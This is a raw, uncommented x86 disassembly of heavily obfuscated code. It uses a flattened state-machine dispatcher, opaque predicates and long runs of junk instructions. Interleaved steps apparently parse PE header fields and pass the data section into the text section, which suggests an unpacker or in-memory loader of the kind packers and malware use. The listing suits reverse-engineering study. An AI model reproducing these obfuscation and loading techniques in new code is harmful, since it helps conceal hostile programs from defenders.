xor eax, 0xe63785e2
add eax, dword [ebp - 0x16c]
mov dword [ebp - 0x110], eax
mov eax, 0x4516de7e
jmp 0x402a30
cmp eax, 0x1e0479fc
je 0x4112af
cmp eax, 0x1e12dcc3
je 0x411300
cmp eax, 0x1f8b44fd
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x7f9cf7b2
and eax, 0x8063084d
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x2500d330
xor esi, 0x8063084d
xor ecx, 0x41943620
mov eax, esi
and eax, 0xdadd248b
and edx, 0x2522db74
or esi, 0xbc6ac143
and ecx, 0x41943e28
or edx, eax
mov eax, edx
mov edi, edx
xor edi, 0x2522db74
xor edx, 0x66b7e5c8
xor eax, 0xdadd248a
and edx, edi
and eax, 0xfffffffe
mov edi, edx
not edi
and edx, 0x619c3f68
mov ebx, edi
or edi, esi
and ebx, 0x9e63c097
and esi, 0x9e63c097
or ecx, esi
or edx, ebx
not edi
mov esi, 0x7c7c96
xor ecx, edx
or edi, ecx
mov ecx, edi
not ecx
and edi, 0xbc6ac142
and ecx, 0x43953ebd
or edi, ecx
or eax, edi
mov edi, 0x9441c3c4
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x47105453
and eax, 0x28e3a9ac
and ecx, 0x900c0200
or edx, ecx
xor edx, 0x47105453
or eax, edx
mov ecx, eax
not ecx
and eax, 0x1c455ab1
and ecx, 0xe3baa54e
or eax, ecx
mov ecx, eax
xor ecx, 0x490800e2
xor eax, 0x4a6300c
and eax, 0x86f73c0c
and ecx, 0x7908c3f3
or ecx, eax
mov eax, ecx
xor eax, 0x3008c043
xor ecx, 0x82472804
and ecx, 0xcb472bb4
and eax, 0x34b8d44b
or eax, ecx
xor eax, 0x34b8d44b
sete dl
setne al
cmp dword [0x492380], 0xa
setge ah
xor dl, ah
mov cl, ah
and dl, ah
xor cl, al
or al, ah
xor dl, 1
and al, cl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov dh, dl
xor dh, al
not dh
test dh, 1
cmovne edi, esi
test al, 1
mov eax, 0x9441c3c4
cmovne eax, edi
test dl, 1
cmovne eax, edi
jmp 0x402a30
cmp eax, 0xe5c840bf
je 0x41132e
cmp eax, 0xe6f5362b
je 0x41134e
cmp eax, 0xe759077b
jne 0x402a30
mov eax, 0x41af6adf
jmp 0x402a30
cmp eax, 0x64c7edd5
je 0x411423
cmp eax, 0x65c6a6fb
je 0x41142d
cmp eax, 0x661825ad
jne 0x402a30
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, 0x5bed6724
jmp 0x402a30
cmp eax, 0x97f5a747
je 0x411437
cmp eax, 0x9895ee6f
je 0x411537
cmp eax, 0x9abb1c43
jne 0x402a30
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x194]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0x6aee8ccf
jmp 0x402a30
cmp eax, 0xd8c34d6
je 0x411638
cmp eax, 0xee0f0d0
je 0x411642
cmp eax, 0xef9f959
jne 0x402a30
rcl edi, 0xb1
bswap edx
neg eax
rcr esi, 0xc1
mov esi, 0x5c
rol esi, 0xff
neg edx
mov esi, 0xd3
imul edx
imul ebx
add edx, 0x84
ror esi, 0xd0
ror ebx, 0xc6
rol esi, 0x73
add ebx, 0xa1
rol ebx, 0x95
neg ebx
rol esi, 0xdf
rcl ebx, 0xca
mov esi, 0x4e
ror eax, 9
rcr edi, 0x82
bswap edx
rcr eax, 0xae
mov ebx, 0x6f
inc edi
neg ebx
imul edi
neg eax
dec ebx
dec eax
inc edx
rcl edi, 0xee
sbb edi, 0xa4
dec eax
add esi, 0x56
mov esi, 0xaf
sbb esi, 0xc5
or edx, 0xf7
inc ebx
not eax
rol ebx, 0xeb
rcl esi, 0x1b
inc edx
add eax, 0xd0
rcl edx, 0xde
neg esi
not eax
inc edx
inc ebx
inc esi
sub edi, 0x33
bswap edx
bswap eax
sub edi, 0x13
rcr eax, 0xce
sbb edi, 0xd8
dec edi
or eax, 0xb8
add edx, 0xa
inc edx
imul esi
bswap edi
rcl eax, 0xaa
sbb esi, 0xbb
bswap eax
ror esi, 0x81
neg ebx
rcl ebx, 0x76
rcr edx, 0x10
sub eax, 0xa6
dec esi
sbb edi, 0xc7
mov ebx, 0x8a
and eax, 0xae
not esi
ror ebx, 0xd6
rol esi, 0xab
sub esi, 0x2b
not edi
dec esi
and edi, 0x81
or eax, 0xdf
neg edx
rol esi, 0x97
bswap esi
dec esi
dec esi
not ebx
ror esi, 0x9c
bswap ebx
inc esi
imul ebx
dec esi
dec edi
mov esi, 0x16
not esi
neg eax
not eax
sub ebx, 0x82
neg eax
ror esi, 0x16
imul edx
dec edi
dec ebx
rol edi, 0x83
ror edx, 0xf9
and edx, 0x90
bswap esi
and ebx, 0x1d
imul ebx
add esi, 0x69
neg edi
bswap edx
and eax, 0x9f
not ebx
or edx, 0xb
and esi, 0xd
rol edi, 0x44
sub eax, 0x16
and esi, 0xed
sbb ebx, 0x93
rol ebx, 0x22
imul edx
mov edx, 0x29
dec esi
imul ebx
not eax
inc ebx
sub esi, 0xed
neg edx
neg edx
mov edi, 0x5a
not ebx
sub ebx, 0x4c
not ebx
rol ebx, 0x24
inc edx
dec ebx
sub edi, 0xf4
rcr ebx, 0x81
bswap ebx
dec esi
not eax
sub edi, 0xbd
imul esi
and ebx, 0xfa
dec esi
dec ebx
sub edx, 0xd9
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
mov eax, 0x61c30da9
jmp 0x402a30
cmp eax, 0xd7329832
je 0x411658
cmp eax, 0xd751a59e
je 0x411662
cmp eax, 0xd7d696ec
jne 0x402a30
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0x608642fe
and ecx, 0x9f79bd01
or eax, ecx
mov ecx, eax
xor ecx, 0x20020052
xor eax, 0x86081900
and eax, 0xc68c5bac
and ecx, 0x3973a453
or ecx, eax
mov eax, ecx
xor ecx, 0x30012042
xor eax, 0xc68c5bac
mov edx, eax
and ecx, 0x740978e2
and edx, 0x8bf6871d
and eax, 0xdfffffff
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x540978e2
and ecx, 0xabf6871d
or edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc43b681d
and ecx, 0x3bc497e2
or eax, ecx
mov ecx, dword [0x492384]
xor eax, 0xc43b681d
mov dword [ebp - 0x130], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4c0008ad
and eax, 0x32d2c752
and ecx, 0x812d3000
or edx, ecx
xor edx, 0x4c0008ad
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8ae995e3
and ecx, 0x75166a1c
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x47842d40
xor esi, 0xb83b52b1
xor eax, 0x5048906
mov ecx, esi
or ecx, 1
and esi, 0x386b828f
and edx, 0xc7947d70
and eax, 0x8d0d8b36
or edx, esi
mov esi, ecx
and esi, 0x72f274c9
or eax, esi
mov esi, edx
xor esi, 0x85040930
xor edx, 0x386b828e
or ecx, edx
and edx, 0x72f274c9
and esi, 0x8d0d8b36
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x88da0082
and ecx, 0x7725ff7d
or eax, ecx
mov ecx, eax
xor ecx, 0x8180000
xor eax, 0x7725ff7d
mov esi, eax
and esi, 0xa4c3d5b7
and ecx, 0x5b3c2a48
or ecx, esi
mov esi, edx
not esi
and edx, 0x5b3c2a48
or eax, esi
and esi, 0xa4c3d5b7
or edx, esi
not eax
mov esi, 0xbe278e72
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x1df26bd2
and ecx, 0xe20d942d
or eax, ecx
mov ecx, eax
xor ecx, 0x57020c0
xor eax, 0x60011401
and eax, 0x78835f13
and ecx, 0x877ca0ec
or ecx, eax
mov eax, ecx
xor eax, 0x48824e01
xor ecx, 0x18a048
and ecx, 0x3019b15a
and eax, 0xcfe64ea5
or eax, ecx
xor eax, 0xcfe64ea5
setne al
sete cl
cmp dword [0x492380], 0xa
mov ch, al
setl dl
setge ah
and ch, ah
and cl, dl
xor al, dl
or cl, ch
mov edx, eax
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
xor al, cl
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor dl, cl
xor cl, 1
or ah, cl
mov ecx, 0xd8c34d6
xor ah, 1
or ah, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xd8c34d6
jmp 0x402a24
cmp eax, 0x4ecb5668
je 0x4117fb
cmp eax, 0x4efe1713
je 0x411805
cmp eax, 0x5059ec69
jne 0x402a30
mov eax, 0x1e0479fc
jmp 0x402a30
cmp eax, 0xb6633a71
je 0x41181c
cmp eax, 0xb69e5bde
je 0x41182f
cmp eax, 0xb6c6c6af
jne 0x402a30
mov eax, 0x9b84a74a
jmp 0x402a30
cmp eax, 0x36d3bf29
je 0x411839
cmp eax, 0x36fcfff9
je 0x411843
cmp eax, 0x37009434
jne 0x402a30
mov eax, dword [0x492384]
mov esi, 0xd32c9c3d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
or ecx, 1
not eax
mov edx, eax
and ecx, 0x1c768a8b
and edx, 0xe3897574
or edx, ecx
mov ecx, eax
or ecx, 0x1c768a8a
and ecx, 0x1c768a8b
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xd7803f17
and edx, 0x287fc0e8
or ecx, edx
xor ecx, 0xd7803f17
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x698d0c7f
and eax, 0x9672f380
or ecx, eax
xor ecx, 0x698d0c7f
setne dl
sete ch
cmp dword [0x492380], 0xa
setl cl
setge al
mov ah, cl
and dl, cl
or cl, ch
and al, ch
xor ah, ch
xor cl, 1
or al, dl
or cl, ah
mov ch, al
mov ah, cl
mov edx, ecx
xor ch, 1
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov dh, dl
and dl, al
or al, ah
xor dh, 1
xor al, 1
and dh, ch
xor ch, cl
or al, ch
or dl, dh
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x7d341a51
cmovne eax, esi
test dl, dl
mov edx, 0x7d341a51
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
cmp eax, 0xf66dbfd3
je 0x41184d
cmp eax, 0xf70ee2e4
je 0x411860
cmp eax, 0xf768ae8a
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xce1e66fc
and ecx, 0x31e19902
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0xce1e66fc
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xd4780f6
xor edx, ecx
test edx, ecx
sete al
setne cl
cmp dword [0x492380], 0xa
setge dl
or cl, dl
xor al, dl
mov ah, cl
mov edx, eax
xor ah, 1
xor dl, 1
and ah, al
and dl, cl
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
mov ecx, 0x22aee929
cmovne ecx, esi
test al, al
mov eax, 0x22aee929
jmp 0x410d89
cmp eax, 0x72080079
je 0x411963
cmp eax, 0x7467e8b9
je 0x411a24
cmp eax, 0x74e71092
jne 0x402a30
mov eax, dword [0x492384]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0xaec7b0fe
and eax, 0x51384f01
or esi, eax
mov ecx, esi
xor ecx, 0xaec7b0fe
xor esi, 0x51384f01
mov eax, esi
mov edx, ecx
or eax, 1
and esi, 0xfffffffe
and edx, 1
and ecx, 0x97ea2ce6
or edx, esi
mov esi, eax
and esi, 0x6815d319
or ecx, esi
mov esi, edx
not esi
and edx, 0x97ea2ce6
or eax, esi
and esi, 0x6815d319
or edx, esi
not eax
mov esi, 0x42591e5d
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc6af9e4b
and ecx, 0x395061b4
or ecx, edx
xor ecx, 0xc6af9e4b
xor eax, ecx
test eax, ecx
setne dl
sete al
cmp dword [0x492380], 0xa
mov ecx, edx
setl ah
inc cl
xor dl, ah
xor al, ah
or cl, ah
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
xor al, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x8405f89f
cmovne edx, esi
test al, 1
mov eax, 0x8405f89f
jmp 0x40acda
cmp eax, 0x8f517566
je 0x411a2e
cmp eax, 0x909f2f8a
je 0x411a43
cmp eax, 0x90df38ee
jne 0x402a30
mov eax, 0xe5adf0f3
jmp 0x402a30
cmp eax, 0x6d75046
je 0x411a58
cmp eax, 0x6e0fb0b
je 0x412104
cmp eax, 0x7002089
jne 0x402a30
mov eax, dword [ebp - 0x54]
mov eax, 0x2f0e39fa
jmp 0x402a30
cmp eax, 0xcd8e24ed
je 0x4121ec
cmp eax, 0xce0211e4
je 0x4121f6
cmp eax, 0xcf093d40
jne 0x402a30
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0x194], eax
mov eax, 0x9abb1c43
jmp 0x402a30
cmp eax, 0x46ea7721
je 0x41221f
cmp eax, 0x46f80dc6
je 0x412238
cmp eax, 0x4720b142
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x5f61d214
mov edi, edx
mov esi, ecx
and esi, 0x3697e185
and edi, 0x80080c6a
and edx, 0xd33ce0d5
or edi, esi
mov esi, eax
xor esi, 0xa09e2deb
and esi, eax
and eax, 0x2cc31f2a
mov ebx, esi
not ebx
and esi, 0xc9681e7a
or eax, edx
or ecx, ebx
and ebx, 0x3697e185
xor eax, 0x2cc31f2a
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xa09e2dea
and esi, 0x5f61d215
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xfab05a57
and esi, 0x54fa5a8
or ecx, esi
mov esi, 0x871594e9
xor ecx, 0xfab05a57
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x25182cda
and ecx, 0xdae7d325
or eax, ecx
cmp eax, 0x25182cda
setne cl
cmp dword [0x492380], 0xa
setge ah
setl al
and al, cl
inc cl
mov dl, ah
xor dl, cl
and cl, ah
or cl, al
and dl, ah
mov ah, cl
mov ch, cl
or dl, cl
xor ah, 1
mov al, ah
xor ah, dl
and al, cl
xor al, 1
xor ch, al
or al, cl
xor al, 1
or al, ch
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6fc8ca8b
cmovne ecx, esi
test dl, 1
mov edx, 0x6fc8ca8b
cmovne edx, ecx
test al, 1
jmp 0x412735
cmp eax, 0xb18481cb
je 0x412242
cmp eax, 0xb2058825
jne 0x402a30
mov eax, 0x171e7a45
jmp 0x402a30
cmp eax, 0x2cdfe408
je 0x41227c
cmp eax, 0x2d5fd273
jne 0x402a30
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x64]
mov eax, 0xf5e34626
jmp 0x402a30
cmp eax, 0xec2ad681
je 0x412460
cmp eax, 0xed93fd64
jne 0x402a30
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xdc]
mov dword [eax], ecx
push 0x4c000
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x48]
mov dword [eax], section..data
imul edi
bswap ebx
imul esi
ror edi, 0xb
rcr esi, 0x9c
not edi
or edi, 0x76
and eax, 0x96
ror edi, 0x83
rol ebx, 0xa8
bswap edi
imul edx
inc edi
neg esi
mov edi, 0xac
mov esi, 0x12
mov edx, 0xb4
and eax, 2
bswap edi
dec edi
imul ebx
neg ebx
not edx
neg ebx
neg edi
imul edx
imul ebx
not ebx
dec eax
not edx
or edi, 0x1c
dec eax
rol edi, 0xa3
or edi, 0xc3
or edi, 0x17
bswap eax
rcl ebx, 0x2c
inc edx
sub ebx, 0xfd
bswap esi
rcr esi, 0xd1
rcl ebx, 0x3a
neg edi
rcl edi, 0xfe
sub edx, 0x3a
neg edi
rcr eax, 0x2a
bswap eax
imul eax
dec esi
sbb edi, 0x71
neg edi
bswap eax
and esi, 0x51
ror edi, 0xc2
add edx, 0xa4
mov ebx, 0xa2
rcr esi, 0x90
inc esi
dec esi
ror ebx, 0x11
sub eax, 0x91
dec esi
rcl edi, 0x41
dec eax
inc edx
and ebx, 7
or edx, 0x17
imul eax
imul edx
rcl edx, 0xc4
not eax
imul eax
rol edi, 0xf
or esi, 0x47
imul eax
imul esi
or eax, 0x2b
and edi, 0x92
inc edx
inc eax
dec edi
sbb eax, 0xf7
neg edi
ror edx, 0xc6
dec eax
inc esi
bswap edi
ror eax, 0x6e
dec esi
rcl esi, 0x57
dec esi
dec esi
bswap edx
rcl edi, 0xe0
imul edx
rol ebx, 0xaf
not ebx
rol eax, 0x9f
and eax, 1
sbb ebx, 0x44
dec esi
add ebx, 0x5c
imul ebx
bswap edi
dec eax
imul edx
rcr edi, 0x3b
sub edx, 0xd9
neg ebx
inc edx
sub esi, 0x94
sub edi, 0xb2
not eax
ror ebx, 0x45
inc edx
bswap eax
dec esi
inc edx
mov edi, 0xcc
rcr esi, 0x30
neg ebx
ror edx, 0xb6
rcl eax, 0x6d
rol ebx, 0xcd
rcr ebx, 0x76
inc edi
inc edi
rcl esi, 0xc0
bswap edx
bswap ebx
imul eax
or esi, 0xb4
not edx
rcr esi, 0x69
not esi
neg esi
rol edi, 0x9a
sub ebx, 0xb2
rol edx, 0xad
inc edi
not edi
not edi
rcr esi, 0xbb
neg esi
bswap edx
or edi, 0x42
bswap ebx
not edi
add edi, 0xb9
not esi
neg edx
sbb eax, 0xf3
not eax
bswap edi
ror edx, 5
not eax
bswap edi
or esi, 0xf9
ror edx, 0x69
rol edx, 0x6b
add eax, 0xd5
dec ebx
add edi, 0x8a
rcr esi, 0x60
rol edi, 0xd5
neg eax
ror edx, 0xc6
ror esi, 0x38
inc edx
or esi, 0xf0
add edi, 0xd5
inc ebx
mov eax, 0xd7
not esi
imul eax
imul eax
imul eax
sbb edx, 0x3a
rcr esi, 0x2e
not esi
not edx
neg esi
and ebx, 0xdf
dec esi
neg esi
rcr edx, 0x40
or eax, 0x5d
and esi, 0x6e
bswap ebx
rcr edi, 0x9c
ror edx, 0x6e
mov edi, 0x1e
bswap esi
rcl edx, 0xca
not edx
rcl edi, 0x15
rol esi, 0xc9
sub eax, 0x3b
neg ebx
inc ebx
sbb edx, 0x1f
neg eax
bswap edx
rcl esi, 0x32
dec eax
not ebx
rcr esi, 0xf8
rcr ebx, 5
bswap edi
neg eax
rcr eax, 0x5b
neg esi
and ebx, 0x82
dec edx
mov edi, 0xc8
add ebx, 0x68
or eax, 0x4c
dec edi
rcl edi, 0x6f
not esi
dec esi
imul eax
imul eax
imul edi
sub esi, 0xc4
not eax
bswap edx
imul edx
add eax, 0xa3
imul ebx
imul ebx
dec eax
sub esi, 0xef
sub eax, 0x39
bswap ebx
inc eax
rol eax, 0xbe
dec edi
rol esi, 0x45
neg edx
imul edi
neg esi
imul eax
and esi, 0xd3
rcl edx, 0x48
and edx, 0xb2
rcl eax, 0xb6
imul ebx
not esi
inc ebx
dec esi
mov edi, 0xe6
ror eax, 0x92
not esi
and edx, 0x37
sbb ebx, 0xf2
ror ebx, 0xce
or edx, 0x53
inc esi
imul ebx
ror edx, 0x78
imul edx
mov edi, 0xf1
or ebx, 0x77
imul eax
inc ebx
rcr eax, 0xfc
inc edi
sbb esi, 0x25
dec ebx
add edx, 0x8e
inc edx
ror ebx, 0x7f
and edx, 0xc1
ror edx, 0x2b
ror esi, 0xc6
bswap edx
sbb ebx, 0x53
not ebx
bswap ebx
ror edi, 0x7d
sub ebx, 0x3f
add edx, 0x63
rol edi, 0x82
not eax
inc edi
not eax
sub edx, 0xb5
neg eax
dec eax
inc esi
sub edx, 0x2b
rcr edx, 0x32
rcr edi, 0xbb
imul ebx
add ebx, 0xf6
imul eax
neg eax
sbb ebx, 0x35
dec eax
imul eax
and edi, 0xa1
neg eax
sbb ebx, 7
or edi, 0x93
sbb esi, 0xa1
bswap esi
and edx, 0x53
rcl eax, 0xde
ror ebx, 0x74
rol esi, 0x3d
not edi
sub esi, 0xf8
add edi, 0x85
neg eax
bswap edi
inc edx
add ebx, 0xe9
rcl edi, 0x79
not esi
neg ebx
rcl edx, 0x75
ror ebx, 0x98
inc eax
dec eax
and ebx, 0xd9
imul ebx
and eax, 9
ror ebx, 0x85
not edi
not edx
sub edi, 0x1c
rol ebx, 0x1d
and ebx, 0xa8
add ebx, 0x3d
inc ebx
or ebx, 0x9f
neg ebx
rol edi, 0x9d
dec eax
bswap edi
imul edx
add eax, 0x4a
sub eax, 0x75
neg ebx
not ebx
inc edi
not eax
and esi, 0x5f
not ebx
inc ebx
sub edx, 0x2c
neg edx
rol edx, 0x7c
neg edx
rol esi, 0x85
not edx
bswap eax
imul eax
rol eax, 0x14
imul edx
add edi, 0xc1
imul eax
rol edi, 0xa5
bswap ebx
inc edx
and edi, 0xfc
or esi, 0xd4
rol ebx, 0x72
bswap edi
imul esi
not ebx
dec eax
or esi, 0xf0
dec edx
mov edx, 0x77
inc edx
and eax, 0xcc
inc esi
not eax
sbb eax, 0xe
neg eax
sub edi, 0x65
not esi
and ebx, 0xca
rcl ebx, 0x93
not edi
imul edi
imul edi
bswap ebx
not edi
ror edx, 0x7e
sbb esi, 0x66
not edi
imul ebx
bswap edx
sbb edi, 0xcb
not eax
neg edi
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x360475a9
not eax
mov edx, eax
and edx, 0x360475a9
and esi, ecx
and eax, 0x61e6b1cf
or esi, edx
mov edx, esi
not edx
and esi, 0x4c01fb2f
and edx, 0xb3fe04d0
or esi, edx
mov edx, esi
xor edx, 0x4a018082
xor esi, 0x1006118
and esi, 0x31046f1d
and edx, 0xcefb90e2
or edx, esi
mov esi, edx
xor esi, 0x40e290c2
xor edx, 0x31046f1d
mov edi, edx
or edx, ecx
and ecx, 0x9e194e30
and edi, 0x9e194e30
and esi, 0x61e6b1cf
or esi, edi
or eax, ecx
not edx
mov edi, 0xe29b5f7c
xor eax, esi
mov esi, 0x5b90c45f
or edx, eax
mov eax, edx
not eax
and edx, 0x8c382919
and eax, 0x73c7d6e6
or edx, eax
xor edx, 0x8c382919
setne al
sete dl
cmp dword [0x492380], 0xa
setl cl
setge ah
and cl, al
mov al, ah
xor al, dl
and dl, ah
or cl, dl
and al, ah
mov edx, ecx
xor al, 1
xor dl, 1
mov ah, al
xor ah, dl
or dl, al
not dl
or dl, ah
mov eax, 0xe29b5f7c
xor dl, cl
and dl, 1
cmovne eax, esi
test dl, cl
cmove eax, esi
test dl, dl
cmove eax, edi
test dl, cl
cmovne eax, edi
jmp 0x402a30
cmp eax, 0x6d0c2dad
je 0x412614
cmp eax, 0x6db7bfca
jne 0x402a30
cmp dword [ebp - 0x188], 0
mov eax, 0xb860f0f5
mov ecx, 0xc56de5a0
cmove eax, ecx
jmp 0x402a30
cmp eax, 0x9ffe4220
je 0x41273f
cmp eax, 0xa04f839e
jne 0x402a30
mov eax, 0x7d9fc488
jmp 0x402a30
cmp eax, 0x15d82c2a
je 0x41284c
cmp eax, 0x15e5ff13
jne 0x402a30
mov eax, 0xb4c24945
jmp 0x402a30
cmp eax, 0xe1572fe5
je 0x41292b
cmp eax, 0xe16aee9f
jne 0x402a30
mov eax, dword [ebp - 0x14]
mov eax, 0xa4969040
jmp 0x402a30
cmp eax, 0x57b99610
je 0x412935
cmp eax, 0x5ab567ce
jne 0x402a30
mov eax, 0xb5e4b74b
jmp 0x402a30
cmp eax, 0xc0aac0f4
je 0x41293f
cmp eax, 0xc0d1317f
jne 0x402a30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, 0xa21e5d78
jmp 0x402a30
cmp eax, 0x3e3005ff
je 0x412949
cmp eax, 0x3e5cf0e5
jne 0x402a30
mov eax, dword [ebp - 0x5c]
mov eax, 0x94aa7bb5
jmp 0x402a30
cmp eax, 0xfc8e6142
je 0x412953
cmp eax, 0xfcd828f8
jne 0x402a30
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0x108], eax
mov eax, 0x9b28a04a
jmp 0x402a30
cmp eax, 0x7facdec1
jne 0x412969
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 1
mov edi, edx
mov esi, eax
and esi, 0x9c3cf588
and edi, 0x63c30a76
and edx, 0x3403593
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0xfcbfca6c
mov ebx, esi
not ebx
and esi, 0x63c30a77
or ecx, edx
or eax, ebx
and ebx, 0x9c3cf588
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xfd252cbd
and esi, 0x2dad342
or eax, esi
mov esi, eax
xor esi, 0x4d012cb4
xor eax, 0x2dad342
mov edx, eax
and edx, 0xb026524b
and esi, 0x4fd9adb4
or esi, edx
mov edx, ecx
xor edx, 0x4c998824
xor ecx, 0x3403593
or eax, ecx
and ecx, 0xb026524b
and edx, 0x4fd9adb4
or edx, ecx
not eax
xor edx, esi
mov esi, 0x603ed8bb
or eax, edx
mov ecx, eax
not ecx
and eax, 0xde42aa6b
and ecx, 0x21bd5594
or eax, ecx
cmp eax, 0xde42aa6b
sete dl
cmp dword [0x492380], 0xa
setl cl
setge al
xor cl, dl
or al, cl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ah, al
xor ah, dl
and ah, al
and al, dl
or al, cl
mov cl, ah
xor cl, al
mov ecx, 0x68e5c2bb
cmovne ecx, esi
test al, al
jmp 0x4110ef
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x108a004c
and eax, 0xaa11f710
and ecx, 0x456408a3
or edx, ecx
xor edx, 0x108a004c
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8e82c9f4
and ecx, 0x717d360b
or eax, ecx
mov ecx, eax
xor ecx, 0xdb6cc11b
xor eax, 0x24933ee4
mov edx, ecx
or edx, 0x13348214
mov esi, eax
or esi, 0x80c30562
mov edi, eax
and edi, 0x48001800
and edx, 0x93f78776
and esi, 0x93f78776
or edi, edx
mov edx, ecx
and edx, 0x24086089
and ecx, 0x322caf10
or edx, esi
xor edx, edi
mov edi, 0xb1051eef
mov esi, edx
not esi
and edx, 0xc8c31d63
and esi, 0x373ce29c
or edx, esi
mov esi, eax
and esi, 0xcdd350ef
and eax, 1
or esi, ecx
xor esi, 0x322caf11
